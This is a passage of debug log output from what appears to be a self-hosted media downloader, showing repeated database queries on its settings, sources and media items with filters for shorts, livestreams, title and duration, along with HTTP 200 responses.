s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.171 [debug] QUERY OK source="sources" db=1.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.171 [info] Sent 200 in 19ms 06:46:02.171 [debug] QUERY OK source="settings" db=0.7ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.171 [debug] QUERY OK source="settings" db=0.5ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.172 [debug] QUERY OK source="sources" db=1.0ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.172 [debug] QUERY OK source="settings" db=0.9ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.172 [info] Sent 200 in 20ms 06:46:02.172 [info] Sent 200 in 20ms 06:46:02.172 [debug] QUERY OK source="sources" db=0.6ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.173 [debug] QUERY OK source="media_items" db=1.5ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:46:02.173 [debug] QUERY OK source="media_items" db=0.8ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:46:02.174 [info] Sent 200 in 22ms 06:46:02.176 [debug] QUERY OK source="sources" db=1.4ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.176 [debug] QUERY OK source="sources" db=1.5ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.176 [debug] QUERY OK source="media_items" db=1.8ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:46:02.178 [debug] QUERY OK source="media_items" db=3.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.178 [debug] QUERY OK source="media_items" db=3.6ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.178 [debug] QUERY OK source="media_items" db=2.1ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:46:02.179 [debug] QUERY OK source="media_items" db=2.2ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:46:02.180 [debug] QUERY OK source="sources" db=0.8ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.180 [debug] QUERY OK source="sources" db=1.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.180 [debug] QUERY OK source="media_items" db=3.2ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.180 [debug] QUERY OK source="media_items" db=0.4ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:46:02.180 [debug] QUERY OK source="media_items" db=0.5ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:46:02.181 [debug] QUERY OK source="sources" db=0.4ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.181 [debug] QUERY OK source="media_items" db=0.4ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:46:02.182 [debug] QUERY OK source="media_items" db=1.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.182 [debug] QUERY OK source="media_items" db=1.3ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.182 [debug] QUERY OK source="media_items" db=0.8ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:46:02.182 [debug] QUERY OK source="media_items" db=3.5ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.183 [debug] QUERY OK source="sources" db=0.3ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.183 [debug] QUERY OK source="media_items" db=3.9ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.183 [debug] QUERY OK source="sources" db=0.7ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.183 [debug] QUERY OK source="sources" db=0.2ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.183 [debug] QUERY OK source="sources" db=0.6ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.183 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:46:02.184 [debug] QUERY OK source="media_items" db=1.0ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:46:02.184 [debug] QUERY OK source="media_items" db=0.9ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:46:02.184 [debug] QUERY OK source="sources" db=1.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.185 [debug] QUERY OK source="media_items" db=1.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:46:02.185 [debug] QUERY OK source="media_items" db=0.4ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:46:02.185 [debug] QUERY OK source="media_items" db=1.5ms idle=0.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:46:02.186 [debug] QUERY OK source="media_items" db=2.0ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM 